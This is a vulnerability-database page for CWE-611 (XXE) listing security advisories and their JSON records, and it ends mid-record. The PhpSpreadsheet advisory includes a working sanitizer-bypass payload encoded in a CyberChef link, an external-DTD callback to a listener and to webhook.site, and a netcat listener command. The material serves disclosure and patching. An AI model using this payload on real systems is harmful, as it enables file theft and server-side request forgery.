Common Weakness Enumeration

CWE-611

Allowed

Improper Restriction of XML External Entity Reference

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

1693 vulnerabilities reference this CWE, most recent first.

GHSA-JW4X-V69F-HH5W

Vulnerability from github – Published: 2024-11-18 20:01 – Updated: 2025-03-06 18:15
VLAI
Summary
XmlScanner bypass leads to XXE
Details

Summary

The XmlScanner class has a scan method which should prevent XXE attacks.

However, the regexes used in the scan method and the findCharSet method can be bypassed by using UCS-4 and encoding guessing as described in https://www.w3.org/TR/xml/#sec-guessing-no-ext-info.

Details

The scan method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the toUtf8 method. Then, the scan method uses a regex which would also work with 16-bit encoding.

However, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in https://www.w3.org/TR/xml/#sec-guessing-no-ext-info.

A payload for the workbook.xml file can for example be created with CyberChef&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.). If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.

PoC

  • Create a new folder.
  • Run the composer require phpoffice/phpspreadsheet command in the new folder.
  • Create an index.php file in that folder with the following content:
<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;

$spreadsheet = new Spreadsheet();

$inputFileType = 'Xlsx';
$inputFileName = './payload.xlsx';

/**  Create a new Reader of the type defined in $inputFileType  **/
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
/**  Advise the Reader that we only want to load cell data  **/
$reader->setReadDataOnly(true);

$worksheetData = $reader->listWorksheetInfo($inputFileName);

foreach ($worksheetData as $worksheet) {

$sheetName = $worksheet['worksheetName'];

echo "<h4>$sheetName</h4>";
/**  Load $inputFileName to a Spreadsheet Object  **/
$reader->setLoadSheetsOnly($sheetName);
$spreadsheet = $reader->load($inputFileName);

$worksheet = $spreadsheet->getActiveSheet();
print_r($worksheet->toArray());

}

Impact

An attacker can bypass the sanitizer and achieve an XXE attack.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpexcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-18T20:01:20Z",
    "nvd_published_at": "2024-11-18T17:15:11Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks.\n\nHowever, the regexes used in the `scan` method and the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method can be bypassed by using UCS-4 and encoding guessing as described in \u003chttps://www.w3.org/TR/xml/#sec-guessing-no-ext-info\u003e.\n\n\n### Details\nThe `scan` method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the [`toUtf8` method](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L76).\nThen, the `scan` method uses a [regex](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L79) which would also work with 16-bit encoding.\n\nHowever, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in \u003chttps://www.w3.org/TR/xml/#sec-guessing-no-ext-info\u003e.\n\nA payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text(\u0027UTF-32BE%20(12001)\u0027)\u0026input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.).\nIf you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet.\n\n### PoC\n\n- Create a new folder.\n- Run the `composer require phpoffice/phpspreadsheet` command in the new folder.\n- Create an `index.php` file in that folder with the following content:\n```PHP\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx;\n\n$spreadsheet = new Spreadsheet();\n\n$inputFileType = \u0027Xlsx\u0027;\n$inputFileName = \u0027./payload.xlsx\u0027;\n\n/**  Create a new Reader of the type defined in $inputFileType  **/\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);\n/**  Advise the Reader that we only want to load cell data  **/\n$reader-\u003esetReadDataOnly(true);\n\n$worksheetData = $reader-\u003elistWorksheetInfo($inputFileName);\n\nforeach ($worksheetData as $worksheet) {\n\n$sheetName = $worksheet[\u0027worksheetName\u0027];\n\necho \"\u003ch4\u003e$sheetName\u003c/h4\u003e\";\n/**  Load $inputFileName to a Spreadsheet Object  **/\n$reader-\u003esetLoadSheetsOnly($sheetName);\n$spreadsheet = $reader-\u003eload($inputFileName);\n\n$worksheet = $spreadsheet-\u003egetActiveSheet();\nprint_r($worksheet-\u003etoArray());\n\n}\n```\n- Run the following command: `php -S 127.0.0.1:8080`\n- Add the [payload.xlsx](https://github.com/user-attachments/files/17334157/payload.xlsx) file, which contains a payload similar to the payload from the details section, but with the URL `https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a` instead of the `http://127.0.0.1:12345/ext.dtd` URL, in the folder and open \u003chttps://127.0.0.1:8080\u003e in a browser. You will see an HTTP request on \u003chttps://webhook.site/#!/view/65744200-63d2-43a2-a6a0-cca8d6b0d50a\u003e.\n\n### Impact\nAn attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).",
  "id": "GHSA-jw4x-v69f-hh5w",
  "modified": "2025-03-06T18:15:31Z",
  "published": "2024-11-18T20:01:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-jw4x-v69f-hh5w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47873"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"
    },
    {
      "type": "WEB",
      "url": "https://www.w3.org/TR/xml/#sec-guessing-no-ext-info"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XmlScanner bypass leads to XXE"
}

GHSA-JWWR-FJGH-CV2X

Vulnerability from github – Published: 2022-05-13 01:05 – Updated: 2026-04-16 18:07
VLAI
Summary
Improper Restriction of XML External Entity Reference in Castor
Details

The default configuration for the Xerces SAX Parser in Castor before 1.3.3 allows context-dependent attackers to conduct XML External Entity (XXE) attacks via a crafted XML document.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.codehaus.castor:castor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "castor:castor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2014-3004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-07T22:43:25Z",
    "nvd_published_at": "2014-06-11T14:55:00Z",
    "severity": "MODERATE"
  },
  "details": "The default configuration for the Xerces SAX Parser in Castor before 1.3.3 allows context-dependent attackers to conduct XML External Entity (XXE) attacks via a crafted XML document.",
  "id": "GHSA-jwwr-fjgh-cv2x",
  "modified": "2026-04-16T18:07:55Z",
  "published": "2022-05-13T01:05:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3004"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/castor-data-binding/castor"
    },
    {
      "type": "WEB",
      "url": "https://quickview.cloudapps.cisco.com/quickview/bug/CSCvm56811"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2014-06/msg00043.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/126854/Castor-Library-XXE-Disclosure.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2014/May/142"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Improper Restriction of XML External Entity Reference in Castor"
}

GHSA-JX49-FPHC-W293

Vulnerability from github – Published: 2026-03-19 12:30 – Updated: 2026-03-19 12:30
VLAI
Details

Improper Restriction of XML External Entity Reference vulnerability in XMLUtils.java in Slovensko.Digital Autogram allows remote unauthenticated attacker to conduct SSRF (Server Side Request Forgery) attacks and obtain unauthorized access to local files on filesystems running the vulnerable application. Successful exploitation requires the victim to visit a specially crafted website that sends request containing a specially crafted XML document to /sign endpoint of the local HTTP server run by the application.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-19T12:16:18Z",
    "severity": "HIGH"
  },
  "details": "Improper Restriction of XML External Entity Reference vulnerability in XMLUtils.java in Slovensko.Digital Autogram allows remote unauthenticated attacker to conduct SSRF (Server Side Request Forgery) attacks and obtain unauthorized access to local files on filesystems running the vulnerable application. Successful exploitation requires the victim to visit a specially crafted website that sends request containing a specially crafted XML document to /sign endpoint of the local HTTP server run by the application.",
  "id": "GHSA-jx49-fphc-w293",
  "modified": "2026-03-19T12:30:33Z",
  "published": "2026-03-19T12:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3511"
    },
    {
      "type": "WEB",
      "url": "https://blog.binary.house/2026/03/pripadova-studia-ako-sme-s-claude-code.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/slovensko-digital/autogram/releases/tag/v2.7.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JXG2-8MCP-74Q3

Vulnerability from github – Published: 2024-02-29 03:33 – Updated: 2024-02-29 03:33
VLAI
Details

IBM Security Guardium Key Lifecycle Manager 3.0, 3.0.1, 4.0, 4.1, and 4.1.1 is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 247599.

Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-25926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-29T01:38:24Z",
    "severity": "MODERATE"
  },
  "details": "IBM Security Guardium Key Lifecycle Manager 3.0, 3.0.1, 4.0, 4.1, and 4.1.1 is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.  IBM X-Force ID:  247599.",
  "id": "GHSA-jxg2-8mcp-74q3",
  "modified": "2024-02-29T03:33:12Z",
  "published": "2024-02-29T03:33:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25926"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/247599"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6964516"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JXG7-VV7X-X8FJ

Vulnerability from github – Published: 2022-05-13 01:33 – Updated: 2022-05-13 01:33
VLAI
Details

IBM WebSphere DataPower Appliances 7.1, 7.2, 7.5, 7.5.1, 7.5.2, and 7.6 is vulnerable to a XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 139023.

Severity
7.1 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2018-1421"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-04T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "IBM WebSphere DataPower Appliances 7.1, 7.2, 7.5, 7.5.1, 7.5.2, and 7.6 is vulnerable to a XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 139023.",
  "id": "GHSA-jxg7-vv7x-x8fj",
  "modified": "2022-05-13T01:33:18Z",
  "published": "2022-05-13T01:33:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1421"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/139023"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=swg22015055"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JXM5-5XCW-H57Q

Vulnerability from github – Published: 2018-12-20 22:02 – Updated: 2022-11-15 16:07
VLAI
Summary
exist-db:exist-core XML External Entity (XXE) vulnerability
Details

exist version <= 5.0.0-RC4 contains a XML External Entity (XXE) vulnerability in XML Parser for REST Server that can result in Disclosure of confidential data, denial of service, SSRF, port scanning.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.exist-db:exist-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1000823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:44:26Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "exist version \u003c= 5.0.0-RC4 contains a XML External Entity (XXE) vulnerability in XML Parser for REST Server that can result in Disclosure of confidential data, denial of service, SSRF, port scanning.",
  "id": "GHSA-jxm5-5xcw-h57q",
  "modified": "2022-11-15T16:07:28Z",
  "published": "2018-12-20T22:02:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eXist-db/exist/issues/2180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eXist-db/exist/pull/2243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eXist-db/exist/pull/2247"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eXist-db/exist/commit/1c3f0aec14d00bdbca175713af70cb7c7b868e9f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eXist-db/exist/commit/b210f9fbf379b68842f2b055dda80d7e7479e96f"
    },
    {
      "type": "WEB",
      "url": "https://0dd.zone/2018/10/27/exist-XXE"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-jxm5-5xcw-h57q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eXist-db/exist"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "exist-db:exist-core XML External Entity (XXE) vulnerability"
}

GHSA-M24F-WH87-6PQQ

Vulnerability from github – Published: 2022-05-24 17:49 – Updated: 2022-05-24 17:49
VLAI
Details

A remote XML external entity (XXE) vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.9.5, 6.8.9, 6.7.14-HF1. Aruba has released patches for Aruba ClearPass Policy Manager that address this security vulnerability.

Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2021-29140"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-29T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "A remote XML external entity (XXE) vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.9.5, 6.8.9, 6.7.14-HF1. Aruba has released patches for Aruba ClearPass Policy Manager that address this security vulnerability.",
  "id": "GHSA-m24f-wh87-6pqq",
  "modified": "2022-05-24T17:49:13Z",
  "published": "2022-05-24T17:49:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29140"
    },
    {
      "type": "WEB",
      "url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2021-009.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M269-WJ6G-C459

Vulnerability from github – Published: 2022-05-17 02:56 – Updated: 2024-10-24 21:52
VLAI
Summary
PySAML2 XML external entity attack
Details

PySAML2 allows remote attackers to conduct XML external entity (XXE) attacks via a crafted SAML XML request or response.

Severity
9.0 (Critical)
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pysaml2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-10127"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-17T21:31:28Z",
    "nvd_published_at": "2017-03-03T15:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "PySAML2 allows remote attackers to conduct XML external entity (XXE) attacks via a crafted SAML XML request or response.",
  "id": "GHSA-m269-wj6g-c459",
  "modified": "2024-10-24T21:52:38Z",
  "published": "2022-05-17T02:56:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10127"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rohe/pysaml2/issues/366"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rohe/pysaml2/pull/379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rohe/pysaml2/commit/6e09a25d9b4b7aa7a506853210a9a14100b8bc9b"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=850716"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-m269-wj6g-c459"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pysaml2/PYSEC-2017-67.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rohe/pysaml2"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200227195127/http://www.securityfocus.com/bid/95376"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/01/19/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PySAML2 XML external entity attack"
}

GHSA-M275-MCPG-X26F

Vulnerability from github – Published: 2022-05-13 01:10 – Updated: 2025-04-12 12:58
VLAI
Details

XML external entity (XXE) vulnerability in the Configuration Wizard in SAP NetWeaver Java AS 7.1 through 7.5 allows remote attackers to cause a denial of service, conduct SMB Relay attacks, or access arbitrary files via a crafted XML request to _tc~monitoring~webservice~web/ServerNodesWSService, aka SAP Security Note 2235994.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2016-3974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-04-07T19:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "XML external entity (XXE) vulnerability in the Configuration Wizard in SAP NetWeaver Java AS 7.1 through 7.5 allows remote attackers to cause a denial of service, conduct SMB Relay attacks, or access arbitrary files via a crafted XML request to _tc~monitoring~webservice~web/ServerNodesWSService, aka SAP Security Note 2235994.",
  "id": "GHSA-m275-mcpg-x26f",
  "modified": "2025-04-12T12:58:09Z",
